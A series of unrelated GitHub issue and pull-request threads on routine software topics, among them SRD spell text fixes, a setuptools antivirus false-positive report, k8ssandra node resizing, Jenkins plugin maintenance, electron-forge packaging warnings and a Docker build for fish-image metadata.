Correct wording of spells containing "Fate"

What does this do?
In response to user feedback on initiative.sh, corrected the wording of the Legend Lore spells. A cursory check revealed a number of other spells, all containing the word "fate", with strange deviations from the SRD. They read like someone was attempting to translate from another language.
Full list of affected spells:

Glyph of Warding
Legend Lore
Mirror Image
Spike Growth
Zone of Truth

Also removed non-ASCII characters from Control Weather and Earthquake,
for consistency's sake ("×" => "x").
How was it tested?
Rebuilt and tested app with updated data.
Is there a Github issue this is resolving?
No.
Did you update the docs in the API? Please link an associated PR if applicable.
N/A
Here's a fun image for your troubles

I disagree with the change from × to x: the SRD uses the first and not the latter. See "Control Weather" on page 131 of the SRD for proof.

@ogregoire I could swear that we've been moving away from non-ASCII for a while now.
Granted, if we ever fully support localization, that might not make any sense anymore.

Those two uses of "×" were the only matches in the file for /[^\x00-\x7f]/. All other cases were already "x".
The SRD also uses ‘curly quotes’, which is why I went looking for non-ASCII characters in the first place. (I copy-pasted the correct descriptions out of the PDF and reformatted as necessary.)
I don't have a strong opinion either way, but if you want to unify behind ASCII characters or especially if you want to unify behind non-ASCII punctuation, that should be enforced by unit tests.
-------- Original Message --------
On Dec. 23, 2021, 13:16, Chris Ward wrote:

@.***(https://github.com/ogregoire) I could swear that we've been moving away from non-ASCII for a while now.
Granted, if we ever fully support localization, that might not make any sense anymore.
—
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.
You are receiving this because you authored the thread.Message ID: @.***>

Unicode allows us to change curly quotes into straight ones. The multiplication sign into an 'x' isn't.

@ogregoire I'm going with us using non-ASCII where it makes sense as long as we're consistent.


Disable horizontal scroll in ribbonTab

Hi,
Is it possible to disable horizontal scrolling in a tab?

SARibbonBar::ribbonTabBar can get the pointer of SARibbonTabBar，and SARibbonTabBar is inherit QTabBar


[BUG] Virus alarm for the .exe in the project

setuptools version
68.2.2
Python version
Python 3.11
OS
Windows
Additional environment information
No response
Description
When i scan the downloaded zip from master or last release 68.2.2 and scan the zip package or the different cli-.exe and gui-.exe directly, i have virus detection with virustotal.com, here are the results:
https://www.virustotal.com/gui/file/7b2e59ba9dab730c6aaa28ffb1f7a3a198e2bbb4330a974609b5193f1baeb212?nocache=1
https://www.virustotal.com/gui/file/32acc1bc543116cbe2cff10cb867772df2f254ff2634c870aef0b46c4b696fdb
I'm not so experienced with this case and worry now if the project/files are secure to execute?
Expected behavior
Expected no virus alarm.
How to Reproduce
Reproducable by re-scanning.
Output
Scanns:
https://www.virustotal.com/gui/file/7b2e59ba9dab730c6aaa28ffb1f7a3a198e2bbb4330a974609b5193f1baeb212?nocache=1
https://www.virustotal.com/gui/file/32acc1bc543116cbe2cff10cb867772df2f254ff2634c870aef0b46c4b696fdb

Hi @Widdar77, thank you very much for the report.
Are you sure this is not a false positive?

As far as I know the only person generating the .exe files in this repository is @jaraco  based on the code in https://github.com/pypa/setuptools/blob/main/launcher.c (which you can inspect to ensure it is safe for you). I am very sure he is not intentionally introducing any malware.
I did a quick search and this report comes up in other places for other software that ship pre-compiled stuff (e.g. in the go community) and there seems to be a generalised suspicion that the heuristics employed are prone to false positives:

https://github.com/restic/restic/issues/4430
https://github.com/betamos/payload/issues/4
https://github.com/bleachbit/bleachbit/issues/948
https://steamcommunity.com/app/1482520/discussions/0/3187990555108969699/
...

The provider seems to be irresponsive to other requests about false positives (I also got an NET::ERR_CERT_DATE_INVALID error when trying to access their website, which is a bit concerning for a company in the "security" field).

Another thing is that, if you install things with pip install ... instead of python setup.py install (the later is deprecated and should not be used anyway), none of the gui-*.exe or cli-*.exe are executed.

If you export the PIP_USE_PEP517=true environment variable, I believe you can.
But I haven't tested... (If anything in your system tries to force pip to use a deprecated installation method for some packages, that would fail).


K8SSAND-1612 ⁃ How I can delete specific node, and resize cluster?

What did you do?
I have 3 k8s nodes with k8ssandra cluster. I can drain number 2 node. If I change size K8SsandraCluster size, deleting number 3 node.
Did you expect to see some different?
first:
$ kubectl get pod -n cassandra -w -o wide
NAME                                                READY   STATUS    RESTARTS   AGE     IP             NODE       NOMINATED NODE   READINESS GATES
k8ssandra-operator-cass-operator-59956b455b-22k5b   1/1     Running   0          7m12s   <IP_ADDRESS>     cass-m02   <none>           <none>
k8ssandra-operator-ffb675cd9-94l4f                  1/1     Running   0          7m12s   <IP_ADDRESS>     cass-m03   <none>           <none>
test123-dc1-rack1-sts-0                             2/2     Running   0          6m48s   <IP_ADDRESS>   cass-m02   <none>           <none>
test123-dc1-rack1-sts-1                             2/2     Running   0          6m48s   <IP_ADDRESS>   cass-m03   <none>           <none>
test123-dc1-rack1-sts-2                             2/2     Running   0          6m48s   <IP_ADDRESS>   cass       <none>           <none>

change size:
$ kubectl get pod -n cassandra -w -o wide
NAME                                                READY   STATUS    RESTARTS   AGE     IP             NODE       NOMINATED NODE   READINESS GATES
k8ssandra-operator-cass-operator-59956b455b-22k5b   1/1     Running   0          11m     <IP_ADDRESS>     cass-m02   <none>           <none>
k8ssandra-operator-ffb675cd9-94l4f                  1/1     Running   0          11m     <IP_ADDRESS>     cass-m03   <none>           <none>
test123-dc1-rack1-sts-0                             2/2     Running   0          11m     <IP_ADDRESS>   cass-m02   <none>           <none>
test123-dc1-rack1-sts-1                             2/2     Running   0          11m     <IP_ADDRESS>   cass-m03   <none>           <none>
test123-dc1-reaper-646989f667-w2ffl                 1/1     Running   0          5m50s   <IP_ADDRESS>     cass-m02   <none>           <none>

Environment

K8ssandra Operator version:
Insert image tag or Git SHA here
k8ssandra/k8ssandra-operator:v1.1.1
k8ssandra/cass-operator:v1.11.0* Kubernetes version information:
kubectl version
Server Version: version.Info{Major:"1", Minor:"22", GitVersion:"v1.22.11", GitCommit:"5824e3251d294d324320db85bf63a53eb0767af2", GitTreeState:"clean", BuildDate:"2022-06-16T05:33:55Z", GoVersion:"go1.16.15", Compiler:"gc", Platform:"linux/amd64"}* Kubernetes cluster kind:

minikube, docker driver, 3 nodes.

Manifests:

first:
apiVersion: k8ssandra.io/v1alpha1
kind: K8ssandraCluster
metadata:
  name: test123
spec:
  reaper: {}
  cassandra:
    serverVersion: "3.11.13"
    softPodAntiAffinity: true
    resources:
      requests:
        cpu: "150m"
    networking:
      hostNetwork: true
    datacenters:
      - metadata:
          name: dc1
        size: 3
        racks:
        - name: rack1
          nodeAffinityLabels:
            cassandra.node: used
        storageConfig:
          cassandraDataVolumeClaimSpec:
            storageClassName: local-path
            accessModes:
              - ReadWriteOnce
            resources:
              requests:
                storage: 5Gi
        config:
          jvmOptions:
            heapSize: 512M

change size:
apiVersion: k8ssandra.io/v1alpha1
kind: K8ssandraCluster
metadata:
  name: test123
spec:
  reaper: {}
  cassandra:
    serverVersion: "3.11.13"
    softPodAntiAffinity: true
    resources:
      requests:
        cpu: "150m"
    networking:
      hostNetwork: true
    datacenters:
      - metadata:
          name: dc1
        size: 2
        racks:
        - name: rack1
          nodeAffinityLabels:
            cassandra.node: used
        storageConfig:
          cassandraDataVolumeClaimSpec:
            storageClassName: local-path
            accessModes:
              - ReadWriteOnce
            resources:
              requests:
                storage: 5Gi
        config:
          jvmOptions:
            heapSize: 512M

K8ssandra Operator Logs:

Anything else we need to know?:
How can I delete node "cass-m03" with test123-dc1-rack1-sts-1, and resize k8ssandraCluster?
┆Issue is synchronized with this Jira Task by Unito
┆friendlyId: K8SSAND-1612
┆priority: Medium

The way statefulsets work, if you reduce the size of the pool it will always delete the latest ones.
If you need to replace a specific node, you'll need to add its name to the CassandraDatacenter spec directly under ReplaceNodes.
This will be overriden on the next change made to the K8ssandraCluster object, but is fine to do for this kind of one time operation.
What it'll do is re-bootstrap the node with a fresh storage, but again, shrinking the pool can only remove the last pods of the StatefulSet.

@adejanovski Thanks!


Make tokio-tls optional and only import it if native-tls is enabled.

Resolve #111 .

Thanks :)

thanks for fix Ronald


Allow for custom default response checks

Previously the contents of all responses were checked with the check::default(), which is quite strict, and not appropriate in most cases. This change still uses check::default() by default but allows users to customize it.

Todo: Review documentation around checks


Tabs instead of spaces

3185177630fee4f75ddb60d96e9475c98b7b0577 c3a696080ec87c90dbe74369ec6ae8041d282068 1107cac0ae7456da6f5210ae86887c872257f176 37f65bb98ab5fa3d19fc0573bb9e00aa56f38347

Sorry about that. I have added an .editorconfig matching the existing code style, and corrected those tabs to spaces.


AttributeError: module 'pycolmap' has no attribute 'Database'

All I have done is pip install pycolmap on an Ubuntu machine. I'm trying to run the example.py script and it looks like I didn't install pycolmap appropriately.

The database bindings were added after v0.5.0 was released on PyPI, we'll push a new release soon. In the meantime you'll have to build from source.

We have pushed a new release: https://github.com/colmap/pycolmap/releases/tag/v0.6.0


add something below all cards in column

I think it would be a good idea to add something like "bottom header". For example, I want to add a button to add a new card or some information

Hi @krzysztofsaw
You mean something like the custom column header we got, but on the bottom side of the column?
https://github.com/lourenci/react-kanban#rendercolumnheader

Yes, for example, I want to add a button, or icons below all the card in column, on the bottom side of the column

I think it's a good idea. I'll add this to the road map.
Thanks.

@lourenci I am working on this issue.

Definitely. CRMs use that a lot for totals and adding.


[BUG] Can't use the command : /easyprefix settings (so i can't use the plugin)

Details
Spigot Version: 1.16.5 - Paper 625

Describe the bug
When me (as OP) or a player type the command, nothing happen except an error sometimes in the console :

.... [21:37:18 WARN]: [EasyPrefix] Task #14695 for EasyPrefix v1.8.1 generated an exception
net.minecraft.server.v1_16_R3.CancelledPacketHandleException: null

Expected behavior
I expected the command to open the GUI for user to select the prefix

fixed. thank you


Proposal: testing snapshotter on specific version of kernel using Moby tool

Reproducing snaphotter issues are hard when the issue depends on the specific version of kernel.
So I suggest creating a moby YAML that can run make test against specific version of kernel.
kernel:
  image: "linuxkit/kernel:4.42.42"
init:
  ...
onboot:
  - name: containerd-snapshotter-test
     image: "containerd/snapshotter-test:latest"
...

For a while, moby only supports linuxkit, but in the future it would support regular Ubuntu/RHEL/.. as well.
Where should we work on this?
I think it is ok to add some files like Dockerfile.test and moby-test.yml in this containerd/containerd repo, but maybe it is not good manner to add Docker-specific files to this repo.
Other candidate repos:

containerd/xxx (e.g. containerd-moby-test)
moby/xxx (e.g. containerd-test)
linuxkit/linuxkit

@AkihiroSuda LinuxKit is probably the best place I presume. This implementation can also be used as another example to explain how linuxkit works.

cc @dmcgowan @stevvooe @justincormack @rneugeba

@AkihiroSuda @gianarb very soon we'll have support in LinuxKit for mainline kernels. Currently, I'm thinking of adding support for 3.16.x as well as all of the 4.x.x series.

We are happy to use the linuxkit CI for this if you like. I am also planning to use linuxkit for runc cross kernel testing soon.

We now have support for Ubuntu, Centos, Debian and Fedora kernels with LinuxKit https://github.com/linuxkit/linuxkit/blob/master/docs/kernels.md

opened https://github.com/linuxkit/linuxkit/pull/1906

This was merged to linuxkit in https://github.com/linuxkit/linuxkit/pull/2062
(thank you @rn @justincormack  @riyazdf)


resnext.preprocessing.py

Hello, is pre-trained weights of resnext trained by RGB images? or BGR images? Because I didn't see the option 'BGRTranspose' in resnext.preprocessing.py

Yes, resnext trained with RGB images

@qubvel  Thanks for your answer!


Fix end-of-line movement when on last line (Fixes #261)

Xi used to go to one grapheme before the next discontinuity for LineMetrics.
This is not correct when on the last line.

@googlebot I signed it

Thanks for the fix, looks good!


[FIX JENKINS-53830] don't persist category

I did a build of the plugin with this patch applied to test https://github.com/jenkinsci/configuration-as-code-plugin/issues/253 and the fix worked! Any thoughts on merging and doing a release of the plugin?

Up! I have also tested it, because it blocks me at current stage, and it works. When we could expect release?

@daspilker Are you still actively maintaining job-dsl-plugin and, if so, could this PR be merged and a new release cut? It would fix the majorly breaking issue at https://github.com/jenkinsci/configuration-as-code-plugin/issues/253. Thanks!

Any update on this?

This is blocking us as well. @daspilker could we create a new release with this fix?

@casz @daspilker @jglick @timja any chance this can get merged and released? Thanks!

@timja thanks a lot for approving this! 👍
Are we also going to merge it and create a new release? Thanks!

I'm not a maintainer here, it needs @daspilker

@timja @ndeloof: @daspilker has not been active since around July. Many have attempted to get him to merge and release this, with no response whatsoever. Can we get someone from the Jenkins organization to take care of this? Thank you!

Not sure if @jstrachan or @rawlingsj from the JenkinsX project have any idea on who can help here.

Even if someone were to merge this PR only daspilker has release permissions:
https://github.com/jenkins-infra/repository-permissions-updater/blob/master/permissions/component-job-dsl-core.yml
if he's no longer around then the way forward would be for someone to adopt the plugin:
https://wiki.jenkins.io/display/JENKINS/Adopt+a+Plugin

Not sure if @jstrachan or @rawlingsj from the JenkinsX project have any idea on who can help here.

Perhaps this plugin is a good candidate to move to the Jenkins X infra which we use to perform CI + release pipelines.  We can build a preview Jenkins image with any proposed changes to the plugin from a PR and deploy to a preview environment to run automated tests and manual verification.  Then upon merge to mater have the automated release pipeline take over to avoid this dependency on individuals to perform manual releases?

I'm happy to help set this up next week if folks agree.

There is a well-established process for reviewing, merging, and releasing PRs to Jenkins plugins. It “just” requires an official maintainer, which this plugin apparently does not currently have. If anyone is interested in becoming a maintainer, please follow the plugin adoption guidelines.

deploy to a preview environment to run automated tests and manual verification

Regular Jenkinsfiles of course run automated tests. The usual ways to perform manual verification of a plugin PR are:

Check out the PR locally and mvn hpi:run.
Assuming JEP-305 has been activated, which even a non-maintainer can prototype in a PR, download the resulting binary and install into a Jenkins service of your choice.

upon merge to ma[s]ter have the automated release pipeline take over

There is a longstanding discussion in the Jenkins infrastructure community about how to do releases from trusted infrastructure, but there are complex concerns about interaction with the maven-release-plugin versioning scheme, and about the attack surface exposed by various proposals. In the meantime, official releases are done directly by maintainers, with per-user Artifactory credentials restricted to a group/artifact ID namespace. JEP-305 provides an alternative system which deploys automatically to Artifactory but does not currently feed into the traditional update center (there is some work to make “incremental” releases from master be fed automatically into Evergreen).

Ok but the process kinda sounds a bit broken in the CI/CD world where a single person is required to manually release when we have all this automated along with preview environments with Jenkins X.  I don't mind either way but just trying to help if needed.  I don't mean to step on anyones toes if everything is working fine.

Do not get me wrong—no one is happy with the current process for releasing Jenkins plugin updates. I am just saying that the organizational obstacles to having automatic releases from master pushes derive from some subtle issues, which JX would not address. Happy to discuss out of band if you are interested.
Anyway physically cutting a release is easy enough; the issue in this plugin is lack of an active maintainer to review and accept PRs, not any technical / infrastructural limitation.

ok cool - hopefully there are some areas where JX can be of benefit and I'm totally up for helping out if that's the case.   I'd love JX to provide automated CI and CD for all Jenkins plugins if possible but only if it provides value.


v1.2 python

Not sure if we want to release but if we do, I will release + update packages after approval

Can you also fill in the main README sections Python Demo and Python SDK. Reference ppn main README for format

I did fill them up


qtwebengine click event not working

Version
2.6.14
Reproduction link
codepen.io
Steps to reproduce
1.qtwebengine (navigator.userAgent :Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.3 Chrome/49.0.2623.111 Safari/537.36)
2.vue version (2.6.14)
3. someTimes click event not working (Open QT for a long time.)
What is expected?
work fine
What is actually happening?
When click event not working, we found something:
at "vue/src/platforms/web/runtime/modules/events.js" lines 70: e.timeStamp >= attachedTimestamp is false

Duplicate of https://github.com/vuejs/vue/issues/11014


Do not use astropy sky coordinates for ground and tilted ground frame

These are not sky coordinates in any sense, so they shouldn't be using astropy frames and SkyCoords

I think we should use 3d coordinates in a well defined earth frame for this, e.g. WGS84 / ITRS, e.g. like astropy does for obsgeoloc, see

I think we can close this now that we have the ability to transform GroundFrame to EarthLocation  #2167

One of the unintended, surprising side effects was reported by @mdpunch  in #2478

Hi,
I don't know much about the esthetics of the different containers (though I'd have thought that Cartesian relative to the centre of the array would be simplest, with then the centre of the array being defined in a fancier way... whatever).
But if keeping with SkyCoords, it would be nice to give an error if the user does inapplicable things, like using separation with the frame being GroundFrame (which gives an angle in reponse)?
I have my answer, I'd just like others not to fall in the trap...
// Michael.

The main issue is that having a nice container like SkyCoord that aggregates frames and attributes of those frames is nice (even if we currently misuse or fail to use it in many places).

I think we get more weird behavior by using something that has the explicit assumption of describing a fixed point in space to describe something fixed on Earth's surface, as can be seen by the astropy issue linked above.
We can re-use the representations and EarthLocation to get something better, with the behavior we need an none of the weird inherited behavior from skycoord without much effort I think.


Revert "temporarily set job to every 5 minutes for testing in sandbox"

This reverts commit a58c3ffc3e4db90ef5db70fb86ef60547344a348.
Asana Task: Show operator sign in modal with operator info

Checklist

Tests:

( ) Has tests
(x) Doesn't need tests
( ) Tests deferred (with justification)

Product/Design sign off:

( ) Okayed the plan for the feature (e.g. the design files, or the Asana task)
( ) Reviewed the feature as implemented (e.g. on dev-green, or saw screenshots)
(x) No review needed

success; merging


[doc issue] Inconsistent casing for configuration options in doc

Issue description
I was browsing through sample code from the documents and wanted to find clarification for some configuration options used for UI5 loading.
However, I was unable to find some configuration options used in sample code from Configuration Options and URL Parameters.
Upon further investigation, I realize the issue was inconsistent casing. The documentation presented sample code lines with camelCase or lowercase for options, whereas Configuration Options and URL Parameters exclusively showcased kebab-case.
I find it would be easier for me (and fellow UI5 beginners) if all sample code in the documentation uses the same casing convention for configuration options.
Example samples not using kebab-case:
Step 1: Ready...:
	<script id="sap-ui-bootstrap"
		src="https://sdk.openui5.org/resources/sap-ui-core.js"
		data-sap-ui-theme="sap_belize"
		data-sap-ui-libs="sap.m"
+		data-sap-ui-resourceroots='{"Quickstart": "./"}'
+		data-sap-ui-onInit="module:Quickstart/index"
+		data-sap-ui-compatVersion="edge"
		data-sap-ui-async="true">
	</script>

We can find more relevant pages by searching for resourcingroots, onInit, or compatVersion in doc.
Example:

Feedback Type (Optional)
examples or samples
Page Title on SAP Help Portal (prefilled)
Configuration Options and URL Parameters
Page URL on SAP Help Portal (prefilled)
https://sapui5.hana.ondemand.com/sdk/#/topic/91f2d03b6f4d1014b6dd926db0e91070

Hi @ziyang-works , thanks for your contribution . We appreciate it and will look into this.

Hi @ziyang-works , we have added a note explaining the new casing convention and are currently busy harmonizing the casing in our sample code. I expect the issue to be fixed in the next release.
Kind regards
Günter


Best way to check for confirmed email at login

Hi I was wondering what the best way to check for confirmed email at login is.
I found these exceptions but do not know where or how to handle them:
UserNotConfirmedException - User tries to login but hasn't yet confirmed
PasswordResetRequiredException - A password reset command has been issued on this users account.
NotAuthorizedException - Password is incorrect (It will say Username or Password is incorrect in the message)
ResourceNotFoundException - User not found
Thanks
hm

When a user successfully signs in, you can do a GetUser call which will return an attribute 'email_verified'. This attribute is set to true if the customer has verified the email.
Regarding how to handle the exceptions above
UserNotConfirmedException - If you are using email/phone verification, then you can direct the user to a screen where they can request the code again(ResendConfirmationCode) or enter if they have one (ConfirmSignUp API)
PasswordResetRequiredException - User is in a state where the password has to be changed, so you can direct them to a screen where they can request a code (ForgotPassword) and then have them enter the code  (ConfirmForgotPassword)
NotAuthorizedException - Have the user re-enter the password. [If the exception message says the user is temporarily locked out of authentication attempts, display this to the user]
ResourceNotFoundException - User not found, so direct them to sign up page.

Hello again,
The part I did not understand is how or where to catch the exceptions in code.
For example I get this from the debug:
(But I do not know the appropriate methods to call to either catch this exception or view them by myself.
I saw that the javascript sdk had a way to do this but not sure with ios.
Thanks
AWSiOSSDK v2.4.7 [Debug] AWSURLSessionManager.m line:553 | -[AWSURLSessionManager printHTTPHeadersForResponse:] | Response headers:
{
Connection = "keep-alive";
"Content-Length" = 73;
"Content-Type" = "application/x-amz-json-1.1";
Date = "Mon, 26 Sep 2016 23:40:02 GMT";
"x-amzn-ErrorMessage" = "User is not confirmed.";
"x-amzn-ErrorType" = "UserNotConfirmedException:";
"x-amzn-RequestId" = "8bccc718-8442-11e6-a744-19d28d1fd098";
}
2016-09-26 16:40:03.064 ALT CULT[5080:138547] AWSiOSSDK v2.4.7 [Debug] AWSURLResponseSerialization.m line:63 | -[AWSJSONResponseSerializer responseObjectForResponse:originalRequest:currentRequest:data:error:] | Response body:
{"__type":"UserNotConfirmedException","message":"User is not confirmed."}

you can only log in if user email is verified.
This is not entirely true. Email/ Phone number verification is just a by product of user account confirmation through codes. Whatever medium user confirms his account through, service treats that medium as verified. By default, developers must use one of these mediums for user account confirmation.
If you do not want your users to go through this additional confirmation step, you can autoConfirm users on SignUp using the PreSignUp trigger. Once the user is confirmed, he will be allowed to sign in.

Ok thanks. But for me I want them to validate before using the app. So to do that the only way to test for email validation would be through the use of UserNotConfirmedException correct? How and where do I catch this exception? Or even what methods can i call to check for this.
Thanks
hm

That exception is thrown when you try to authenticate the user.


fixing issue #808

Fixes https://github.com/marmelab/ng-admin/issues/808

@fzaninotto  Please check the error (https://travis-ci.org/marmelab/ng-admin/builds/130531626#L879)

These changes may have some drawbacks. Indeed, some API may expect all the entity fields in the request payload, even the non-editable ones. Yet, as far as I understand your PR, you do not send non editable fields anymore.
That's a big BC break, and I am not sure we handle it properly. A better way would be to retrieve the original entry values and to set them back to the API.
Let's postpone it to another version than the 1.0.


Update screenshot with navigation panel from VSTS

https://docs.microsoft.com/en-us/azure/devops/artifacts/how-to/_img/us-with-sources.png?view=azure-devops screenshot was done in VSTS. new looks a bit different.
Please, update this screenshot it

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 03b6ce9e-b09c-69a8-5153-8bb814c25f54
Version Independent ID: ebc53603-e70e-fdcd-5895-8ebc8f980703
Content: Set up upstream sources for packages in Azure DevOps Services and TFS
Content Source: docs/artifacts/how-to/set-up-upstream-sources.md
Product: devops
GitHub Login: @elbatk
Microsoft Alias: elbatk

Thanks for letting us know, @SychevIgor. I've created an item on my backlog to address this! Thanks again!

@SychevIgor I don't believe there is a screenshot in the most recent documentation here so I'll be closing this issue. If you have anymore feedback, please feel free to open a new issue :)

item in a backlog... in the past it means "maybe in a few years"

@chasewilson cool... April-November. 6 months.

@SychevIgor Sorry for the delay, we've had some significant turnover in both the product space and docs space for Azure Artifacts. That's calmed down quite a bit and you shouldn't see such ridiculous delays in issues like this, thanks :)


fix falsy value returned from boolean function in lua

Problem
In lua code, jetpack.tap returns 0, which is a truthy value in lua, when the specified plugin is not available. If the plugin is available, jetpack.tap returns true, not 1.
Cause
In line 885, result == 0 and false does not return false but instead it is evaluated as false, then the line eventually returns the result.
Fix
Use standard if expression.

Thanks!


Reduce WET code in Logos view, fix some reactGA warnings, and add rea…

…ctGA to a top-level component that updates on route change

Logos view had two this.setState({ activeTab: value }) calls, a simple refactor to reuse one
Some reactGA warnings -- it seems reactGA wants to load before the component, so changed it from componentDidMount to componentWillMount
Added reactGA to a top-level component (ScrollIntoView), which in theory (you'll need to test this out to confirm if it works or not), should initialize reactGA and then log the first loaded page. Then on subsequent route changes, it should call logPageView() again to log the next page (this secondary call may not be needed since ScrollIntoView always sits on the top, but again, you'll need to test it out). This should, in theory, remove the need to import and call logPageView() for each view.

Awesome work @mattcarlotta ! I can't believe I didn't notice that I had this.setState({ activeTab: value)} twice! 🤣


nixos/lxc-container: create /sbin to link init

… otherwise you can end up (when nixos-rebuild) with
ln: failed to create symbolic link '/sbin/init': No such file or directory
Activation script snippet 'installInitScript' failed (1)

btw: https://nixos.wiki/index.php?title=Talk:Proxmox_Linux_Container&oldid=7079#the_folder_.2Fsbin.2F_is_missing
and the change from /init to /sbin/init seems to be right.
https://linuxcontainers.org/lxc/manpages/man5/lxc.container.conf.5.html#lbAJ
this should be backported to 21.11. (sorry! i forgot to checkout backport.)

Motivation for this change
the update from 21.05 to 21.11 broke (for me on proxmox virtual environment current 7.1 with nixos in a lxc)
Things done

Built on platform(s)

[X] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[ ] Fits CONTRIBUTING.md.

@yater are you still interested in getting this merged?

I'll be closing it since the author isn't responding and pushing by repo maintainers is disabled. Feel free to reopen this once you have time to apply the suggested change.

This would need to be rebased and updated, but I don't understand why this mkdir is necessary. /sbin should be created in the base image already https://github.com/NixOS/nixpkgs/blob/d4af6e420f92351da65e6726fe7246adc9e1d498/nixos/modules/virtualisation/lxc-container.nix#L43-L46
I'd be happy to troubleshoot more deeply if one can provide me steps to reproduce the issue. Otherwise I'm re-closing this.


Packaging warnings

Please describe your issue:
Warnings are seen in verbose mode when compiling the simplest code. However it seems an executable is created. Just concerned about the warnings.
$ electron-forge package --verbose
✔ Checking your system
✔ Preparing to Package Application for arch: x64
⠋ Compiling ApplicationFailed to compile file: /tmp/electron-packager/linux-x64/my-new-app-linux-x64/resources/app/.idea/misc.xml
Compiling /tmp/electron-packager/linux-x64/my-new-app-linux-x64/resources/app/.idea/misc.xml resulted in a MIME type of application/xml, which we don't know how to handle
Failed to compile file: /tmp/electron-packager/linux-x64/my-new-app-linux-x64/resources/app/.idea/modules.xml
Compiling /tmp/electron-packager/linux-x64/my-new-app-linux-x64/resources/app/.idea/modules.xml resulted in a MIME type of application/xml, which we don't know how to handle
⠙ Compiling ApplicationFailed to compile file: /tmp/electron-packager/linux-x64/my-new-app-linux-x64/resources/app/.idea/vcs.xml
Compiling /tmp/electron-packager/linux-x64/my-new-app-linux-x64/resources/app/.idea/vcs.xml resulted in a MIME type of application/xml, which we don't know how to handle
Failed to compile file: /tmp/electron-packager/linux-x64/my-new-app-linux-x64/resources/app/.idea/workspace.xml
Compiling /tmp/electron-packager/linux-x64/my-new-app-linux-x64/resources/app/.idea/workspace.xml resulted in a MIME type of application/xml, which we don't know how to handle
✔ Compiling Application
✔ Preparing native dependencies
✔ Packaging Application
Done in 11.92s.

What command line arguments are you passing?
yarn package --verbose

What does your config.forge data in package.json look like?
"config": {
        "forge": {
            "make_targets": {
                "win32": [
                    "squirrel"
                ],
                "darwin": [
                    "zip"
                ],
                "linux": [
                    "deb",
                    "rpm"
                ]
            },
            "electronPackagerConfig": {
                "packageManager": "yarn"
            },
            "electronWinstallerConfig": {
                "name": "my_new_app"
            },
            "electronInstallerDebian": {},
            "electronInstallerRedhat": {},
            "github_repository": {
                "owner": "",
                "name": ""
            },
            "windowsStoreConfig": {
                "packageName": "",
                "name": "mynewapp"
            }
        }
    },

Please provide either a failing minimal testcase (with a link to the code) or detailed steps to
reproduce your problem. Using electron-forge init is a good starting point, if that is not the
source of your problem.
Run the "getting started" example.
I have nvm installed (not sure if that matters) giving node 8.9.4 / npm 5.6.0
yarn create electron-app my-new-app
cd my-new-app
(run it once)
yarn package --verbose
OS: linux mint 18.3 / 4.8.0-53-generic #56~16.04.1-Ubuntu

You don't need your .idea folder in the packaged app, I would add that to the ignore list.

How can I do it?

See the Electron Packager API docs for ignore.


Add auth() attribute to fields level

Is your feature request related to a problem? Please describe.
I love abstract models!! I tend to overuse them to track the origin of write operations. I would like to automatically retrieve the currentUser at the createdBy field level in particular.

}

Describe alternatives you've considered
To keep it simple, I have to pass the currentUser.id in my forms.

I'm closing it as it has already been discussed: https://github.com/zenstackhq/zenstack/issues/310


Make code workflow-compatible, including automated container build

In gen_metadata.py
change gen_metadata.py with 2 main() option:

main_drexel() : original version with minor modification to be used in the container
main_bgnn() : reshape, reformat and simply the output to be used as needed for BGNN_Snakemake.
Modify a few paths (to work with the container)

Add function dataverse_download.py to access model from dataverse read doc
Add Dockerfile for containerization
add github action to build the docker image
Add info to documentation
@DrJPepper @kevinkarnani
Are you planning to keep developing on this project? Or are you happy to let it go, because if not I am planning to do a huge restructuring of the repo that would look like here https://github.com/thibaulttabarin/BGNN_metadata.
@johnbradley I put you there, just you know what I am up to

I'm putting this PR on hold and @johnbradley will review options for how structure this in a way that minimizes non-generic changes and simplifies the container build. (@thibaulttabarin please do not merge until I approve.)
@DrJPepper and @kevinkarnani I have for now withdrawn the review requests for you. We'll let you know when this is ready again for your review.

I also changed it to draft status to signify it as WIP. Before it goes back to ready for review, @thibaulttabarin we'll also need a proper and descriptive title.

@hlapp, @johnbradley, before trying to restructure this in this repository, I would suggested having a look at the restructured (refactored) code I wrote for this project here https://github.com/thibaulttabarin/BGNN_metadata. Especially if this repository is not maintained by drexel anymore (here I refer to the email I send to Jane Greenberg (Hilmar was cc) asking their plan about building on this repository or abandoning it).
F.Y.I. Anyway just saying I put a fair amount of work in the refactoring (this is not completely finished but it is working but I won't finish it unless we are planning to use the code)

I am not sure what I am suppose to do, here. Basically everything I have done, has been reversed.

The gen_metadata.py command line arguments currently are as follows:
$ python gen_metadata.py -h
usage: gen_metadata.py [-h] [--outfname OUTFNAME] [--device {cpu,cuda}] [--maskfname MASKFNAME] file_or_directory [limit]

Generate metadata for one or more fish images.

positional arguments:
  file_or_directory     Path to a fish image or a directory of multiple fish images. When one file is passed the JSON
                        metadata is printed to the terminal.
  limit                 Limit the number of images processed from a directory

optional arguments:
  -h, --help            show this help message and exit
  --outfname OUTFNAME   Output filename to use for JSON metadata (disables printing to terminal).
  --device {cpu,cuda}   Override the default device used for the ML model.
  --maskfname MASKFNAME
                        Save a mask image with the provided filename. Only supported when processing a single image file.

I have simplified the changes here and moved the Minnows specific code to the https://github.com/hdr-bgnn/drexel_metadata_formatter repo.
Summary of Changes
Adds Docker Container for Metadata Generation

Adds Dockerfile that installs requirements from the Pipfile
Changes the python version in the Pipefile back to the previous value of "3.8.10" to be compatible with the pytorch requirement in the Pipefile.
Downloads the trained model from the OSU Dataverse using a multi-stage Docker build.
